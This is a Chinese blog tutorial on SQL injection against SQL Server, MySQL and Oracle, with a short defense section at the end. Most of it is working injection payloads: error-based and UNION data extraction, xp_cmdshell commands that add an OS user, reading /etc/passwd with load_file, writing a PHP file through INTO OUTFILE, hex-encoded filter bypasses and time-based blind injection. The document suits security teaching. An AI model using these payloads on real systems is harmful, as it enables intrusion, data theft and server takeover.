侧边栏壁纸
博主头像
孔子说JAVA博主等级

成功只是一只沦落在鸡窝里的鹰,成功永远属于自信且有毅力的人!

  • 累计撰写 352 篇文章
  • 累计创建 135 个标签
  • 累计收到 10 条评论

目 录CONTENT

文章目录

常见数据库的SQL注入方式详解及预防

孔子说JAVA
2022-09-24 / 0 评论 / 0 点赞 / 137 阅读 / 10,410 字 / 正在检测是否收录...
广告 广告

攻击者对于数据库注入,无非是想利用数据库获取更多的数据或者更大的权限,利用的方式可以归结为以下几类:查询数据、读写文件、执行命令,在权限允许的情况下,通常数据库都支持以上三种操作。对于大多数数据库而言,SQL注入的原理基本相似,因为每个数据库都遵循同一个SQL语法标准。但它们之间也存在许多细微的差异,包括语法、函数的不同。所以在针对不同的数据库注入时,思路、方法也不可能完全一样。这里介绍三种数据库的注入:和 SQL Server 2008、MySQL 5.1以及Oracle 11g。

0e4d665a41921455ed1aeb016bf8845f

1、SQL Server注入

1.1 利用错误消息提取信息

SQL Server 数据库是一个非常优秀的数据库,它可以准确地定位错误信息,这对攻击者来说是一件十分美好的事情,因为攻击者可以通过错误消息提取自己想要的数据。

① 枚举当前表或者列

假设选择存在这样一张表:

image-1663941130073

查询 root 用户的详细信息,SQL 语句猜测如下:

SELECT * FROM users WHERE username = 'root' AND password = 'root'

攻击者可以利用 SQL Server 特性来获取敏感信息,在输入框中输入如下语句:' having 1 = 1 --,最终执行的 SQL 语句就会变为:

SELECT * FROM users WHERE username = 'root' AND password = 'root' HAVING 1 = 1 --

这时 SQL 的执行器会抛出一个错误:

image-1663941424716

攻击者就可以发现当前的表名为 users、而且存在一个字段为 id。这时候攻击者可以利用此特性继续得到其他列名,输入如下语句:' GROUP BY users.id HAVING 1 = 1 --,则执行的 SQL 语句变为:

SELECT * FROM users WHERE username = 'root' AND password = 'root' GROUP BY users.id HAVING 1 = 1 --

SQL 的执行器会抛出错误:

image-1663941588764

由此可以看到此表包含了列名 username。按此规律依次递归查询,直到没有错误消息返回位置,这样就可以利用 HAVING 字句得到当前表的所有列名。

注:Select指定的每一列都应该会出现在Group By子句中,除非对这一列使用了聚合函数。

②. 利用数据类型错误提取数据

如果试图将一个字符串与非字符串比较,或者将一个字符串转换为另一个不兼容的类型,那么SQL 编辑器将会抛出异常。如下列 SQL 语句:

SELECT * FROM users WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users)

SQL 的执行器会抛出如下错误:

image-1663941738564

这样就可以获取到该表中第一个用户的用户名为 root。因为在子查询 SELECT TOP 1 username FROM users 中,将查询到的用户名的第一个返回,返回类型是 varchar 类型,然后要跟 int 类型的 1 比较,两种类型不同的数据无法比较而报错,从而导致了数据泄露。

利用此方法可以递归推导出所有的账户信息:

SELECT * FROM users WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users WHERE not in ('root'))。

通过构造此语句就可以获得下一个用户名;若把子查询中的 username 换成其他列名,则可以获取其他列的信息,这里就不再赘述。

1.2 获取元数据

SQL Server 提供了大量视图,便于取得元数据。可以先猜测出表的列数,然后用 UNION 来构造 SQL 语句获取其中的数据。如下:

SELECT *** FROM *** WHERE id = *** UNION SELECT 1, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES

若当前表的列数为 2,则可以通过 UNION 语句获取当前数据库表。具体怎么猜测当前表的列数,请参考下一小节:Order by字句猜测列数。

一些常用的系统数据库视图如下:

数据库视图 说明
SYS.DATABASES SQL Server 中的所有数据库
SYS.SQL_LOGINS SQL Server 中的所有登录名
INFORMATION_SCHEMA.TABLES 当前用户数据库中的所有数据表
INFORMATION_SCHEMA.COLUMNS 当前用户数据库中的所有列
SYS.ALL_COLUMNS 用户定义对象和系统对象的所有列的联合
SYS.DATABASE_PRINCIPALS 数据库中每个权限或列异常权限
SYS.DATABASE_FILES 存储在数据库中的数据库文件
SYSOBJECTS 数据库中创建的每个对象 (包括约束、日志以及存储过程)

1.3 Order by字句猜测列数

可以使用 ORDER BY 语句来判断当前表的列数。如下所示步骤:

① SELECT * FROM users WHERE id = 1——SQL执行正常

② SELECT * FROM users WHERE id = 1 ORDER BY 1 (按照第一列排序)——SQL执行正常

③ SELECT * FROM users WHERE id = 1 ORDER BY 2 (按照第二列排序)——SQL执行正常

④ SELECT * FROM users WHERE id = 1 ORDER BY 3 (按照第三列排序)——SQL 执行正常

⑤ SELECT * FROM users WHERE id = 1 ORDER BY 4 (按照第四列排序)——SQL 抛出异常:

image-1663942241824

由上图可以得出结论:当前表的列数只有 3 列,因为当按照第 4 列排序时报错了。在 Oracle 和 MySql 数据库中同样适用此方法。在得知表的具体列数后,攻击者通常会配合 UNION 关键字进行下一步的攻击。

1.4 Union查询

UNION 关键字将两个或多个查询结果组合为单个结果集,大部分数据库都支持 UNION 查询。但适用 UNION 合并两个结果有如下基本规则:

  • 所有查询中的列数必须相同
  • 数据类型必须兼容

① 用 UNION 查询猜测列数

在上小节示例中,我们使用 ORDER BY 方法来猜测列数,其实 UNION 方法同样可以猜测列数。如在之前假设的 users 表中有 3 列,若我们用 UNION 联合查询:

SELECT * FROM users WHERE id = 1 UNION SELECT 1

此时 SQL 执行器会抛出如下异常:

image-1663942462666

可以通过递归查询,直到无错误产生为止,这时就可以得知 Users 表的查询字段数:

# union 2列时
SELECT * FROM users WHERE id = 1 UNION SELECT 1,2

# union 3列时,无错误产生,说明Users表中列数为 3 列
SELECT * FROM users WHERE id = 1 UNION SELECT 1,2,3

也可以将 SELECT 后面的数字改为 null、这样不容易出现不兼容的异常。

② 联合查询敏感信息

在得知列数为 3 后,可以使用一下语句继续注入:

UNION SELECT 'x', null, null FROM SYSOBJECT WHERE xtype='U' 

(注:xtype=‘U’ 表示对象类型是表)

若第一列的数据类型不匹配,数据库会报错,那么可以递归查询,直到语句兼容。等到语句正常执行,就可以将 x 换为 SQL 语句,查询敏感信息。

1.5 自带的系统函数

SQL Server 提供了非常多的系统函数,利用该系统函数可以访问 SQL Server 系统表中的信息,而无需使用 SQL 查询语句。具体如下示例:

  • SELECT suser_name():返回用户的登录标识名
  • SELECT user_name():基于指定的标识号返回数据库用户名
  • SELECT db_name():返回数据库名
  • SELECT is_member(‘db_owner’):是否为数据库角色
  • SELECT convert(int, ‘5’):数据类型转换

1.6 存储过程

存储过程 (Stored Procedure) 是在大型数据库系统中为了完成特定功能的一组 SQL “函数”,如:执行系统命令、查看注册表、读取磁盘目录等。

攻击者最长使用的存储过程是 “xp_cmdshell”,这个存储过程允许用户执行操作系统命令。例如:http://www.aaa.org/test.ASPx?id=1 中存在注入点,那么攻击者就可以实施命令攻击:
http://www.aaa.org/test.aspx?id=1;exec xp_cmdshell 'net user test test /add',最终执行的 SQL 语句如下:

SELECT * FROM table WHERE id=1; exec xp_cmdshell 'net user test test /add'

分号后面的那一段语句就可以为攻击者在对方服务器上新建一个用户名为 test、密码为 test 的用户。

注:并不是任何数据库用户都可以使用此类存储过程,用户必须持有 CONTROL SERVER 权限。

常见的危险存储过程如下表:

存储过程 说明
sp_addlogin 创建新的 SQL Server 登录,该登录允许用户使用 SQL Server 身份连接到 SQL Server 实例
sp_dropuser 从当前数据库中删除数据库用户
xp_enumgroups 提供 Microsoft Windows 本地组列表或在指定的 Windows 域中定义全局组列表
xp_regread 读取注册表
xp_regwrite 写入注册表
xp_redeletevalue 删除注册表
xp_dirtree 读取目录
sp_password 更改密码
xp_servicecontrol 停止或激活某服务

另外,任何数据库在使用一些特殊的函数或存储过程时,都需要特定的权限。常见的SQL Server 数据库的角色与权限如下:

角色 权限
bulkadmin 可以运行 BULK INSERT 语句
dbcreator 可以创建、更改、删除和还原任何数据库
diskadmin 可以管理磁盘文件
processadmin 可以种植在数据库引擎中运行的实例
securityadmin 可以管理登录名及其属性;可以利用 GRANT、DENY 和 REVOKE 服务器级别的权限;还可以利用 GRANT、DENY 和 REVOKE 数据库级别的权限;此外也可以重置 SQL Server 登录名的密码
serveradmin 可以更改服务器范围的配置选项和关闭服务器
setupadmin 可以添加和删除链接服务器,并可以执行某些系统存储过程
sysadmin 可以在数据库引擎中执行任何活动

1.7 动态执行

SQL Server 支持动态执行语句,用户可以提交一个字符串来执行 SQL 语句。如下示例:

exec('SELECT username, password FROM users')

也可以通过定义十六进制的 SQL 语句,使用 exec 函数执行。大部分 Web 应用程序和防火墙都过滤了单引号,利用 exec 执行十六进制 SQL 语句可以突破很多防火墙及防注入程序,如:

declare @query varchar(888)
select @query=0x73656C6563742031
exec(@query)

或者:

declare/**/@query/**/varchar(888)/**/select/**/@query=0x73656C6563742031/**/exec(@query)

2、MySql注入

前一节详细讲述了 SQL Server 的注入过程,在注入其他数据库时,基本思路是相同的,只不过两者使用的函数或者是语句稍有差异。

2.1 MySql的注释

MySQL 支持以下 3 中注释风格:

  • #: 注释从 # 到行尾
  • -- : 注释从 -- 序列到行位,需要注意的是使用此注释时,后面需要跟上空格
  • /**/:注释从 /**/ 之间的字符

2.2 获取元数据

MySQL 5.0 及其以上版本提供了 INFORMATION_SCHEMA,这是一个信息数据库,它提供了访问数据库元数据的方式。下面介绍如何从中读取数据库名称、表名称以及列名称。

① 查询用户数据库名称

SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA

INFORMATION_SCHEMA.SCHEMATA 表提供了关于数据库的信息。

②查询当前数据表

SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = (SELECT DATABASE())

INFORMATION_SCHEMA.TABLES 表给出了数据库中表的信息。

③查询指定表的所有字段

SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '***'

INFORMATION_SCHEMA.COLUMNS 表中给出了表中的列信息。

2.3 Union查询

与 SQL Server 大致相同,此处不赘述。

2.4 MySql函数利用

无论是 MySQL、Oracle 还是其他数据库都内置了许多系统函数,这些数据库函数都非常类似,接下来介绍一些对渗透测试人员很有帮助的 MySQL 函数。

① load_file() 函数读文件操作

MySQL 提供了 load_file() 函数,可以帮助用户快速读取文件,但文件的位置必须在服务器上,文件必须为绝对路径,且用户必须有 FILE 权限,文件容量也必须小于 max_allowed_packet 字节 (默认为 16MB,最大为 1GB)。SQL 语句如下:

UNION SELECT 1, load_file('/etc/passwd'), 3, 4 #

通常一些防注入语句不允许单引号出现,那么可以使用以下语句绕过:

UNION SELECT 1, load_file(0x2F6561342F706173737764), 3, 4 #

“0x2F6561342F706173737764&rdquo” 为 “/etc/passwd” 的十六进制转换结果。

在浏览器返回数据时,有可能存在乱码问题,那么可以使用 hex() 函数将字符串转换为十六进制数据。

② into outfile 写文件操作

MySQL 提供了向磁盘写文件的操作,与 load_file() 一样,必须有 FILE 权限,并且文件必须为全路径名称。写入文件:

SELECT '<?php phpinfo();?>' into oufile 'C:\wwwroot\1.php'

③ 连接字符串

MySQL 如果需要一次查询多个数据,可以使用 concat() 或 concat_ws() 函数来完成。

SELECT name FROM student WHERE id = 1 UNION SELECT concat(user(), ',', database(), ',', version());

也可以将逗号改用十六进制表示:0x2c

2.5 MySql显错式注入

MySQL 也存在显错式注入,可以像 SQL Server 数据库那样,使用错误提取消息。

① 通过 updateXML 函数执行 SQL 语句

updatexml()函数语法如下:updatexml (XML_document, XPath_string, new_value)

  • 第一个参数:XML_document是String格式,为XML文档对象的名称;
  • 第二个参数:XPath_string (Xpath格式的字符串) ,
  • 第三个参数:new_value,String格式,替换查找到的符合条件的数据
SELECT * FROM message WHERE id = 1 and updatexml(1, (concat(0x7c, (SELECT @@version))), 1)

其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,报错,会显示出无法识别的内容:

image-1663944174510

② 通过 extractvalue函数

SEELCT * FROM message WHERE id= 1 AND extravtvalue(1, concat(0x7c, (SELECT user())))

该语句同样报错显示出当前用户:

image-1663944218645

2.6 MySql长字符截断

MySQL 超长字符截断又名 “SQL-Column-Truncation”。在 MySQL 中的一个设置里有一个 sql_mode 选项,当 sql_mode 设置为 default 时,即没有开启 STRICT——ALL_TABLES 选项时,MySQL 对插入超长的值只会提示 waring,而不是 error。

假设有一张表如下:

image-1663944357809

username 字段的长度为 7。分别插执行以下 SQL 语句:

① 插入正常 SQL 语句

INSERT users(id, username, password) VALUES(1, 'admin', 'admin');

image-1663944419479

可以成功插入。

② 插入错误的 SQL 语句,使 username 字段的长度超过7:

INSERT users(id, username, password) VALUES(2, 'admin   ', 'admin');

image-1663944589896

可以看到虽然有警告,但是还是成功插入了。

③ 再尝试插入一条错误的 SQL 语句,长度同样是超过原有的规定长度:

INSERT users(id, username, password) VALUES(3, 'admin   x), 'admin;

image-1663944662372

此时我们查询数据库:

image-1663944688445

可以看到,三条数据都被插入到数据库中,但是值发生了变化。在默认情况下,如果数据超出默认长度,MySQL 会将其截断保存。

但是这样应该怎么攻击呢?查询用户名为 admin 的用户结果如下:

image-1663944741586

可以发现,只查询用户名为 admin 的用户时,另外两个长度不一致的 admin 用户也被查询出,这样就会造成一些安全问题。

比如有一处管理员登录时是这样判断的:

$sql = "SELECT count(*) FROM users WHERE username = 'admin' AND password = '***'";

那么攻击者只需要注册一个长度超过规定长度的用户名“admin ”即可轻易进入后台管理页面。

2.7 宽字节注入

宽字节注入是由编码不统一所造成的,这种注入一般出现在 PHP + MySQL中。在 PHP 配置文件 php.ini 中存在 magic_quotes_gpc 选项,被称为魔术引号,当此选项被打开时,使用 GET、POST、Cookie 所接受的 单引号(’)、双引号(")、反斜线() 和 NULL 字符都会自动加上一个反斜线转义。

如下使用 PHP 代码使用 $_GET 接收参数:

image-1663944265896

如访问URL:http:/www.xxser.com/Get.php?id=',显示如下:

image-1663944279262

单引号’被转义后就变成了’,在 MySQL 中,'是一个合法的字符,也就没办法闭合单引号,所以,注入类型是字符型时无法构成注入。

但是若是输入:%d5’,访问URL:http:/www.xxser.com/Get.php?id=%d5’,显示如下:

image-1663944301537

可以发现,这次单引号没有被转义,这样就可以突破 PHP 转义,继续闭合 SQL 语句进行 SQL 注入。

2.8 延时注入

延时注入属于盲注技术的一种,是一种基于时间差异的注入技术。下面以 MySQL 为例介绍延时注入。

在 MySQL 中有一个函数:sleep(duration),这个函数意思是在 duration 参数给定数秒后运行语句,如下 SQL 语句:

SELECT * FROM users WHERE id = 1 AND sleep(3)

AND sleep(3) 表示之前的语句将在 3 秒后执行。可以使用这个函数来判断 URL 是否存在 SQL 注入漏洞,步骤如下:

image-1663945010924

通过页面返回的时间可以断定,DBMS 执行了 and sleep(3) 语句,这样一来就可以判断出 URL 存在 SQL 注入漏洞。

通过 sleep() 函数还可以读出数据,但需要其他函数的配合,步骤如下:

①查询当前用户,并取得字符串长度

执行SQL 语句:

AND if(length(user()) = 0, sleep(3), 1)

如果出现 3 秒延时,就可以判断出 user 字符串长度,注入时通常会采用折半算法减少判断。

② 截取字符串第一个字符,并转换为 ASCII 码

AND if(hex(mid(user(), 1, 1)) = 1, sleep(3), 1)
AND if(hex(mid(user(), 1, 1)) = 2, sleep(3), 1)
……

不断更换 ASCII 码直到出现延时 3 秒就可以猜测出第一个字符。

③ 递归截取字符串每一个字符,分别于 ASCII 码比较

AND if(hex(mid(user(), L, 1)) = N, sleep(3), 1)

注:L 的位置代表字符串的第几个字符,N 的位置代表 ASCII 码。

不仅在 MySQL 中存在延时函数,在 SQL Server、Oracle 等数据库中也都存在类似功能的函数,如 SQL Server 的 waitfor delay、Oracle 中的 DBMS_LOCK.SLEEP 等函数。

3、Oracle注入

3.1 获取元数据

Oracle 也支持查询元数据,下面是 Oracle 注入常用的元数据视图:

① user_tablespaces 视图,查看表空间

SELECT tablespace_name FROM user_tablespaces

② user_tables 视图,查看当前用户的所有表

SELECT table_name FROM user_tables WHERE rownum = 1

③ user_tab_columns 视图,查看当前用户的所有列

如查询 user 表的所有列:

SELECT column_name FROM user_tab_columns WHERE table_name = 'users'

④ all_users 视图,查看 ORacle 数据库的所有用户

SELECT username FROM all_users

⑤ user_objects 视图,查看当前用户的所有对象 (表名称、约束、索引)

SELECT object_name FROM user_objects

3.2 Union查询

Oracle 与 MySQL 一样不支持多语句执行,不像 SQL Server 那样可以用分号隔开从而注入多条 SQL 语句。

①获取列的总数

获取列总数方法与前面两种数据库类似,依然可以使用 ORDER BY 子句来完成。

另一种方法是利用 UNION 关键字来确定,但是 Oracle 规定,每次查询时后面必须跟表的名称,否则查询将不成立。

在 Oracle 中可以使用:

UNION SELECT null, null, null …… FROM dual

这里的 dual 是 Oracle 中的虚拟表,在不知道数据库中存在哪些表的情况下,可以使用此表作为查询表。

然后获取非数字类型列,即可以显示出信息的列:

UNION SELECT 'null', null, null, …… FROM dual
UNION SELECT null, 'null', null, …… FROM dual

把每一位的 null 依次用单引号 ’ 引起来,如果报错,则不是字符串类型的列;如果返回正常,则是字符串类型的列,就可以在相应的位置插入查询语句获取信息。

② 获取敏感信息

常见的敏感信息如下:

  • 当前用户权限:SELECT * FROM session_roles
  • 当前数据库版本:SELECT banner FROM sys.v_$version WHERE rownum = 1
  • 服务器出口 IP:用utl_http.request 可以实现
  • 服务器监听 IP:SELECT utl_inaddr.get_host_address FROM dual
  • 服务器操作系统:SELECT member FROM v$logfile WHERE rownum = 1
  • 服务器 SID:SELECT instance_name FROM v$instance
  • 当前连接用户:SELECT SYS_CONTEXT(‘USERENV’, ‘CURRENT_USER’) FROM dual

③ 获取数据库表及其内容

在得知表的列数之后,可以通过查询元数据的方式查询表名称、列名称,然后查询数据,如:

http://www.aaa.org/new.JSP?id=1 UNION SELECT username, password, null FROM users --

注意:在查询数据时同样要注意数据类型,否则无法查询,只能一一测试,改变参数的查询位置。

4、常用注入工具

验证一个URL是否存在注入漏洞比较简单,而要获取数据、扩大权限,则要输入很复杂的SOL语句,测试单个URL则较简单,如果要测试大批URL,就是比较麻烦的事情。而注入漏洞利用工具的出现则解决了这一尴尬的局面,SQL注入工具能够帮助渗透测试人员发现和利用Web应用程序的SQL注入漏洞。

目前流行的注入工具有:SQLMap、Pangolin、BSQL Hacker、Havij和The Mole,这些注入工具的功能大同小异。

5、SQL注入防御方法

关键是对所有用户的输入进行严格的检查过滤、对数据库配置使用最小权限原则。常用的修复方案:

(1)所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。

(2)过滤危险的 SQL 语句关键字。

(3)确认每种数据的类型。

(4)数据长度应该严格规定。

(5)网站每个数据层的编码统一。

(6)严格限制网站用户的数据库的操作权限。

(7)避免网站显示 SQL 错误信息。

(8)在网站发布之前建议使用一些专业的 SQL 注入检测工具进行检测。

(9)升级 web 服务器运行平台软件补丁,建议使用 WAF 防护。

0

评论区